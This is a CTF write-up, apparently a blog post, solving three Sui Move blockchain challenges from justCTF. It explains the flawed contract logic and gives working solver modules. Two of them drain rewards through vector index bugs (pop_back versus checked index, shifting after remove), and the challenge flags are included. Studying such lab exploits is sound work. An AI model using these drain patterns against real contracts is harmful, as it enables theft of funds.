It was first time for me to solve move based challenge. Solved 3 blockchain challenges, World of Ottercraft
, The Otter Scrolls
, Dark BrOTTERhood
( all move based challenge )
The Otter Scrolls
All the challenges use the Sui CTF Framework. Like solana challenges, we should send out compiled contract to the server.
framework/src/main.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Publish Challenge Module
let chall_dependencies: Vec<String> = Vec::new();
let chall_addr = sui_ctf_framework::publish_compiled_module(
&mut adapter,
mncp_modules,
chall_dependencies,
Some(String::from("challenger")),
).await;
deployed_modules.push(chall_addr);
println!("[SERVER] Module published at: {:?}", chall_addr);
let mut solution_data = [0 as u8; 2000];
let _solution_size = stream.read(&mut solution_data)?;
// Send Challenge Address
let mut output = String::new();
fmt::write(
&mut output,
format_args!(
"[SERVER] Challenge modules published at: {}",
chall_addr.to_string().as_str(),
),
)
.unwrap();
stream.write(output.as_bytes()).unwrap();
...
// Publish Solution Module
let mut sol_dependencies: Vec<String> = Vec::new();
sol_dependencies.push(String::from("challenge"));
let mut mncp_solution : Vec<MaybeNamedCompiledModule> = Vec::new();
let module: CompiledModule = match CompiledModule::deserialize_with_defaults(&solution_data.to_vec()) {
Ok(data) => data,
Err(e) => {
let _ = adapter.cleanup_resources().await;
return Err(Box::new(e))
}
};
...
let sol_addr = sui_ctf_framework::publish_compiled_module(
&mut adapter,
mncp_solution,
sol_dependencies,
Some(String::from("solver")),
).await;
println!("[SERVER] Solution published at: {:?}", sol_addr);
In main.rs
, It publishes challenge module and read bytecode, then publishes out solver module.
framework/src/main.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// Prepare Function Call Arguments
let mut args_solve: Vec<SuiValue> = Vec::new();
let spellbook = SuiValue::Object(FakeID::Enumerated(2, 0), None);
args_solve.push(spellbook.clone());
let type_args_solve: Vec<TypeTag> = Vec::new();
// Call solve Function
let ret_val = match sui_ctf_framework::call_function(
&mut adapter,
sol_addr,
"solve",
"solve",
args_solve,
type_args_solve,
Some("solver".to_string()),
).await {
Ok(output) => output,
Err(e) => {
let _ = adapter.cleanup_resources().await;
println!("[SERVER] error: {e}");
return Err("error during call to solve::solve".into())
}
};
// Check Solution
let mut args_check: Vec<SuiValue> = Vec::new();
args_check.push(spellbook.clone());
let type_args_check: Vec<TypeTag> = Vec::new();
let sol_ret = sui_ctf_framework::call_function(
&mut adapter,
chall_addr,
"theotterscrolls",
"check_if_spell_casted",
args_check,
type_args_check,
Some("solver".to_string()),
).await;
println!("[SERVER] Return value {:#?}", sol_ret);
println!("");
// Validate Solution
match sol_ret {
Ok(_) => {
println!("[SERVER] Correct Solution!");
println!("");
if let Ok(flag) = env::var("FLAG") {
let message = format!("[SERVER] Congrats, flag: {}", flag);
And, the server calls the solve
function with the spellbook
object and calls check_if_spell_casted
function to check if it was solved.
framework/chall/sources/the_otter_scrolls.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
fun init(ctx: &mut TxContext) {
let mut all_words = table::new(ctx);
let fire = vector[
string::utf8(b"Blast"),
string::utf8(b"Inferno"),
string::utf8(b"Pyre"),
string::utf8(b"Fenix"),
string::utf8(b"Ember")
];
let wind = vector[
string::utf8(b"Zephyr"),
string::utf8(b"Swirl"),
string::utf8(b"Breeze"),
string::utf8(b"Gust"),
string::utf8(b"Sigil")
];
let water = vector[
string::utf8(b"Aquarius"),
string::utf8(b"Mistwalker"),
string::utf8(b"Waves"),
string::utf8(b"Call"),
string::utf8(b"Storm")
];
let earth = vector[
string::utf8(b"Tremor"),
string::utf8(b"Stoneheart"),
string::utf8(b"Grip"),
string::utf8(b"Granite"),
string::utf8(b"Mudslide")
];
let power = vector[
string::utf8(b"Alakazam"),
string::utf8(b"Hocus"),
string::utf8(b"Pocus"),
string::utf8(b"Wazzup"),
string::utf8(b"Wrath")
];
table::add(&mut all_words, 0, fire);
table::add(&mut all_words, 1, wind);
table::add(&mut all_words, 2, water);
table::add(&mut all_words, 3, earth);
table::add(&mut all_words, 4, power);
let spellbook = Spellbook {
id: object::new(ctx),
casted: false,
spells: all_words
};
transfer::share_object(spellbook);
}
In init
function (same as constructor in solidity), it makes a spellbook vector and uses it as an argument of transfer::share_object
. Then we can use this object to access spellbook.
framework/chall/sources/the_otter_scrolls.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public fun cast_spell(spell_sequence: vector<u64>, book: &mut Spellbook) {
let fire = table::remove(&mut book.spells, 0);
let wind = table::remove(&mut book.spells, 1);
let water = table::remove(&mut book.spells, 2);
let earth = table::remove(&mut book.spells, 3);
let power = table::remove(&mut book.spells, 4);
let fire_word_id = *vector::borrow(&spell_sequence, 0);
let wind_word_id = *vector::borrow(&spell_sequence, 1);
let water_word_id = *vector::borrow(&spell_sequence, 2);
let earth_word_id = *vector::borrow(&spell_sequence, 3);
let power_word_id = *vector::borrow(&spell_sequence, 4);
let fire_word = vector::borrow(&fire, fire_word_id);
let wind_word = vector::borrow(&wind, wind_word_id);
let water_word = vector::borrow(&water, water_word_id);
let earth_word = vector::borrow(&earth, earth_word_id);
let power_word = vector::borrow(&power, power_word_id);
if (fire_word == string::utf8(b"Inferno")) {
if (wind_word == string::utf8(b"Zephyr")) {
if (water_word == string::utf8(b"Call")) {
if (earth_word == string::utf8(b"Granite")) {
if (power_word == string::utf8(b"Wazzup")) {
book.casted = true;
}
}
}
}
}
}
public fun check_if_spell_casted(book: &Spellbook): bool {
let casted = book.casted;
assert!(casted == true, 1337);
casted
}
In cast_spell
function, It gets each index of the spellbook and checks it against some words. If all indexes are correct, set book.casted=true
. The correct indexes are 1 (Inferno), 0 (Zephyr), 3 (Call), 3 (Granite), 3 (Wazzup).
framework-solve/solve/sources/solve.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
module solve::solve {
// [*] Import dependencies
use challenge::theotterscrolls;
use sui::tx_context::{Self, TxContext};
public fun solve(
_spellbook: &mut theotterscrolls::Spellbook,
_ctx: &mut TxContext
) {
let spell_sequence = vector[
1, // Inferno
0, // Zephyr
3, // Call
3, // Granite
3 // Wazzup
];
theotterscrolls::cast_spell(spell_sequence, _spellbook);
theotterscrolls::check_if_spell_casted(_spellbook);
}
}
solve code, create index vector and call cast_spell
funciton in theotterscrolls
module. then, we need to change some code to get flag.
- host, port in
framework-solve/src/main.rs
1 2 3 4
fn main() -> Result<(), Box<dyn Error>> { let host = env::var("HOST").unwrap_or_else(|_| "tos.nc.jctf.pro".to_string()); // replace with remote ip let port = env::var("PORT").unwrap_or_else(|_| "31337".to_string());
- challenge address in
framework-solve/dependency/Move.toml
1 2 3 4
... [addresses] admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e" challenge = "<>"
we can check the challenge address by simply connecting to server. It’s fixed and won’t be changed.
Next, we need to compile the module with sui build and run the rust code. it’s all in sources/run_client.sh
. just run this script (we need to install sui). we can check a flag in Connection Output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ sources ./run_client.sh
+ cd framework-solve/solve
+ sui move build
...
+ cd ..
+ cargo r --release
Finished release [optimized] target(s) in 0.00s
Running `target/release/solve-framework`
- Connected!
- Loaded solution!
- Sent solution!
- Connection Output: '[SERVER] Challenge modules published at: 542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b[SERVER] Solution published at b4c0f35aeb28b4e0aa758f063059f3583d47686b0a057089f46bee4f474f871a'
- Connection Output: '[SERVER] Congrats, flag: justCTF{Th4t_sp3ll_looks_d4ngerous...keep_y0ur_distance}'
- Connection Output: ''
- Terminated.
justCTF{Th4t_sp3ll_looks_d4ngerous…keep_y0ur_distance}
Dark BrOTTERhood
goal
dark_brotterhood.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public fun buy_flag(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext): Flag {
assert!(coin::value(&player.coins) >= 1337, WRONG_AMOUNT); // init * 10
let coins = coin::split(&mut player.coins, 1337, ctx);
coin::join(&mut vault.cash, coins);
Flag {
id: object::new(ctx),
user: tx_context::sender(ctx),
flag: true
}
}
...
public fun prove(board: &mut QuestBoard, flag: Flag) {
let Flag {
id,
user,
flag
} = flag;
object::delete(id);
assert!(table::contains(&board.players, user), NOT_REGISTERED);
assert!(flag, NOT_SOLVED);
*table::borrow_mut(&mut board.players, user) = true;
}
...
public fun check_winner(board: &QuestBoard, player: address) {
assert!(*table::borrow(&board.players, player) == true, NOT_SOLVED);
}
call buy_flag
with 1337 coins and call prove
to set the value of player to true
dark_brotterhood.move
1
2
3
4
5
6
7
8
9
10
11
12
public fun register(sup: &mut OsecSuply<OTTER>, board: &mut QuestBoard, player: address, ctx: &mut TxContext) {
assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);
table::add(&mut board.players, player, false);
transfer::transfer(Player {
id: object::new(ctx),
user: tx_context::sender(ctx),
coins: mint(sup, 137, ctx), // starts with 137
power: 10
}, player);
}
The server calls register function first, we starts with 137 OTTER coin and the power is 10
1
2
3
4
5
6
7
8
public fun buy_sword(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext) {
assert!(coin::value(&player.coins) >= 137, WRONG_AMOUNT);
let coins = coin::split(&mut player.coins, 137, ctx);
coin::join(&mut vault.cash, coins);
player.power = player.power + 100;
}
buy_sword
function, we can increase out power with 137 coins
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#[allow(lint(public_random))]
public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) {
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS);
let mut generator = random::new_generator(r, ctx);
let quest = Monster {
fight_status: NEW,
reward: random::generate_u8_in_range(&mut generator, 13, 37),
power: random::generate_u8_in_range(&mut generator, 13, 73)
};
vector::push_back(&mut board.quests, quest);
}
find_a_monster
function, we can push Monster
objects to quests
vector using push_back method. The limit is 25 (QUEST_LIMIT)
1
2
3
4
5
6
7
8
9
public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
let quest = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest.fight_status == NEW, WRONG_STATE);
assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT);
player.power = 10; // sword breaks after fighting the monster :c
quest.fight_status = WON; // !! quest.power do not changed
}
fight_monster’ function, 2 constraints
fight_status == NEW
( can only be set infind_a_monster
function )- player.power > quest.power ( can only be increased in
buy_sword
function )
It sets player.power
to 10 and quest.fight_status
to WON
1
2
3
4
5
6
public fun return_home(board: &mut QuestBoard, quest_id: u64) {
let quest_to_finish = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_finish.fight_status == WON, WRONG_STATE);
quest_to_finish.fight_status = FINISHED; // only quest.status
}
return_home
sets fight_status
to FINISHED
it status is WON
( can only be set in fight_monster
function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#[allow(lint(self_transfer))]
public fun get_the_reward(
vault: &mut Vault<OTTER>,
board: &mut QuestBoard,
player: &mut Player,
quest_id: u64,
ctx: &mut TxContext,
) {
let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);
let monster = vector::pop_back(&mut board.quests);
let Monster {
fight_status: _,
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, (reward as u64), ctx);
coin::join(&mut player.coins, coins);
}
get_the_reward
function, It gets the quest status using quest_id
and checks if it’s FINISHED
, then It gets monster object with pop_back
method and only
get reward from it and send that amount to user.
If the length of the quest is 1, it works correctly. However, if the length of the quest is greater than 1, the quest being checked and the quest from which the reward is being retrieved become different. Instead of removing the checked quest, the quest from the end of the vector is removed from the vector.
By leaving a quest with the FINISHED
status at the front of the vector, we can repeatedly call the find_a_monster
and get_the_reward
functions without fighting the monster to earn 1337 gold.
solve.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
module solve::solve {
// [*] Import dependencies
use challenge::Otter::{Self, OTTER, Flag};
use sui::random::Random;
#[allow(lint(public_random))]
public fun solve(
_vault: &mut Otter::Vault<OTTER>,
_questboard: &mut Otter::QuestBoard,
_player: &mut Otter::Player,
_r: &Random,
_ctx: &mut TxContext,
) {
Otter::find_a_monster(_questboard, _r, _ctx);
Otter::buy_sword(_vault, _player, _ctx);
Otter::fight_monster(_questboard, _player, 0);
Otter::return_home(_questboard, 0);
let mut i = 0;
loop {
Otter::find_a_monster(_questboard, _r, _ctx);
Otter::get_the_reward(_vault, _questboard, _player, 0, _ctx);
i = i + 1;
if (i>=100) {
break;
}
};
let flag = Otter::buy_flag(_vault, _player, _ctx);
Otter::prove(_questboard, flag);
}
}
justCTF{I_us3d_to_b3_an_ott3r_until_i_t00k_th4t_arr0w}
World of Ottercraft
goal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
ticket.total = ticket.total + 537;
ticket.flag_bought = true;
}
public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
let TawernTicket{ total, flag_bought } = ticket;
assert!(total > 0, BUY_SOMETHING);
assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);
let balance = balance::split(&mut player.wallet, total);
let coins = coin::from_balance(balance, ctx);
coin::join(&mut vault.cash, coins);
if (flag_bought == true) {
let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
*flag = true;
std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
};
player.status = RESTING;
}
buy flag with 537 coin and call checkout function. It looks similar to Dark BrOTTERhood
challenge but this challenge released earlier.
1
2
3
4
5
6
// STATUSES
const PREPARE_FOR_TROUBLE: u64 = 1;
const ON_ADVENTURE: u64 = 2;
const RESTING: u64 = 3;
const SHOPPING: u64 = 4;
const FINISHED: u64 = 5;
there are 5 status.
1
2
3
4
5
6
7
8
9
10
11
12
public struct TawernTicket {
total: u64,
flag_bought: bool
}
...
public fun enter_tavern(player: &mut Player): TawernTicket {
assert!(player.status == RESTING, WRONG_PLAYER_STATE);
player.status = SHOPPING;
TawernTicket{ total: 0, flag_bought: false }
}
I think this is import part of my solver code. we should call enter_tavern
to buy something. The player will get TawernTicket object by calling this function. we should send ownership by calling checkout
function before return. because there’s no drop
in TawernTicket. As I know, there’s no way to drop this object without sending it to the checkout
function. Idk rust and move this mush ( this is first time for me )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
ticket.total = ticket.total + 537;
ticket.flag_bought = true;
}
public fun buy_sword(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 213;
ticket.total = ticket.total + 140;
}
public fun buy_shield(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 7;
ticket.total = ticket.total + 20;
}
public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 9000; //it's over 9000!
ticket.total = ticket.total + 190;
}
There are 4 items. The shield is the cheapest. only SHOPPING
status is allowed ( only set in enter_tavern
function )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
let TawernTicket{ total, flag_bought } = ticket;
assert!(total > 0, BUY_SOMETHING);
assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);
let balance = balance::split(&mut player.wallet, total);
let coins = coin::from_balance(balance, ctx);
coin::join(&mut vault.cash, coins);
if (flag_bought == true) {
let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
*flag = true;
std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
};
player.status = RESTING;
}
checkout
, all status is allowed. player.status = RESTING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) { // RESTING, PREPARE_FOR_TROUBLE
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);
// verify with quest length, so can always get rewarad:100, power:73
let quest = if (vector::length(&board.quests) % 3 == 0) {
Monster {
reward: 100,
power: 73
}
} else if (vector::length(&board.quests) % 3 == 1) {
Monster {
reward: 62,
power: 81
}
} else {
Monster {
reward: 79,
power: 94
}
};
vector::push_back(&mut board.quests, quest);
player.status = PREPARE_FOR_TROUBLE;
}
find_a_monster
, we can push Monster object to quests vector. only RESTING
, PREPARE_FOR_TROUBLE
status are allowed. player.status = PREPARE_FOR_TROUBLE
1
2
3
4
5
6
7
8
9
10
11
12
public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) { // PREPARE_FOR_TROUBLE
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::borrow_mut(&mut board.quests, quest_id);
assert!(player.power > monster.power, BETTER_GET_EQUIPPED);
player.status = ON_ADVENTURE;
player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
monster.power = 0; //you win! wow!
player.quest_index = quest_id;
}
It gets monster using quest_id
and checks power, then set monster's power
to 0, quest_index to quest_id
. only PREPARE_FOR_TROUBLE
status is allowed.
1
2
3
4
5
6
7
8
public fun return_home(board: &mut QuestBoard, player: &mut Player) { // ON_ADVENTURE
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);
let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
assert!(quest_to_finish.power == 0, WRONG_AMOUNT);
player.status = FINISHED;
}
return_home
, It gets quest using player.quest_index
( set in bring_it_on function
) and checks power==0
. only ON_ADVENTURE
status is allowed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) { // FINISHED, SHOPPING
assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::remove(&mut board.quests, player.quest_index);
let Monster { // do not check monster power
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, reward, ctx);
let balance = coin::into_balance(coins);
balance::join(&mut player.wallet, balance);
player.status = RESTING;
}
get_the_reward
, It’s different from previous challenge. It uses remove
using player.quest_index
as index, not pop_back
.
Not only the FINISHED
status from return_home
, but also the SHOPPING
status is allowed. In vector::remove
, if we delete index 0, index 0 now points to the element that was previously at index 1. There’s no check of the power of monster. So we can collect all rewards in the quest vector by killing only the monster at index 0.
It seems we can call get_the_reward, enter_tavern
function repeatedly. But as I mentioned above, we must send transfer ownership of ticket object to checkout
function before return
. So we should call the functions in the following order
- buy sword
- fill the vector with monsters until LIMIT (25)
- kill monster at index 0
- repeat below
- enter_tavern
- buy_shield -> Cheapest. Just to bypass
assert!(total > 0, BUY_SOMETHING);
. - get_the_reward
- checkout -> transfer ownership of ticket
All of the monsters’ rewards are lower than the price of a shield, so we can get 537 coins.
solve.move
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#[allow(unused, unused_use, unused_variable, duplicate_alias)]
module solve::solve {
// [*] Import dependencies
use challenge::Otter::{Self, OTTER, QuestBoard, Vault, Player, TawernTicket};
public fun solve(
board: &mut QuestBoard,
vault: &mut Vault<OTTER>,
player: &mut Player,
ctx: &mut TxContext
) {
let mut ticket = Otter::enter_tavern(player);
Otter::buy_sword(player, &mut ticket);
Otter::checkout(ticket, player, ctx, vault, board);
let mut i = 0;
loop {
Otter::find_a_monster(board, player);
i = i + 1;
if (i >= 25) {
break;
}
};
Otter::bring_it_on(board, player, 0);
Otter::return_home(board, player);
Otter::get_the_reward(vault, board, player, ctx);
i = 0;
loop {
let mut ticket = Otter::enter_tavern(player);
Otter::buy_shield(player, &mut ticket);
Otter::get_the_reward(vault, board, player, ctx);
Otter::checkout(ticket, player, ctx, vault, board);
i = i + 1;
if (i >= 24) {
break;
}
};
let mut ticket = Otter::enter_tavern(player);
Otter::buy_flag(&mut ticket, player);
Otter::checkout(ticket, player, ctx, vault, board);
}
}
justCTF{Ott3r_uses_expl0it_its_sup3r_eff3ctiv3}